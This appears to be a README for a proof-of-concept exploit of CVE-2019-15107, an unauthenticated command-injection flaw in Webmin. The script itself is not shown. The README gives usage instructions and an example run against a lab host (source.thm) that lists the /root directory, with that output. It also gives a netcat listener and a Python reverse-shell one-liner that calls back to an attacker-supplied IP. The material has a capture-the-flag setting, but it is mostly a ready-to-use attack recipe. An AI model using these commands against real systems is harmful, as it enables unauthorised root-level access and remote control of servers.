CVE-2019-15107 PoC — Webmin 命令操作系统命令注入漏洞

介绍

# CVE-2019-15107

### Webmin unauthenticated RCE

https://www.rapid7.com/db/vulnerabilities/http-webmin-cve-2019-15107/

Usage
```

python3 CVE-2019-15107.py <URL> <COMMAND>

```

Example
```

python3 CVE-2019-15107.py https://source.thm:10000 "ls -lah /root"

```

Output

```
total 36K
drwxr-xr-x 24 root root 4.0K Jun 26  2020 ..
-rw-------  1 root root   44 Jun 26  2020 .bash_history
-rw-r--r--  1 root root 3.1K Apr  9  2018 .bashrc
drwx------  3 root root 4.0K Jun 26  2020 .gnupg
drwxr-xr-x  3 root root 4.0K Jun 26  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4.0K Jun 26  2020 .ssh
-rw-r--r--  1 root root   25 Jun 26  2020 root.txt
```

#### Obtain a reverse shell
Listener

```

nc -lnvp <PORT>

```

Shell
```

python3 CVE-2019-15107.py https://source.thm:10000 "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"<YOUR_IP>\",<PORT>));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/sh\")'"

```

文件快照

备注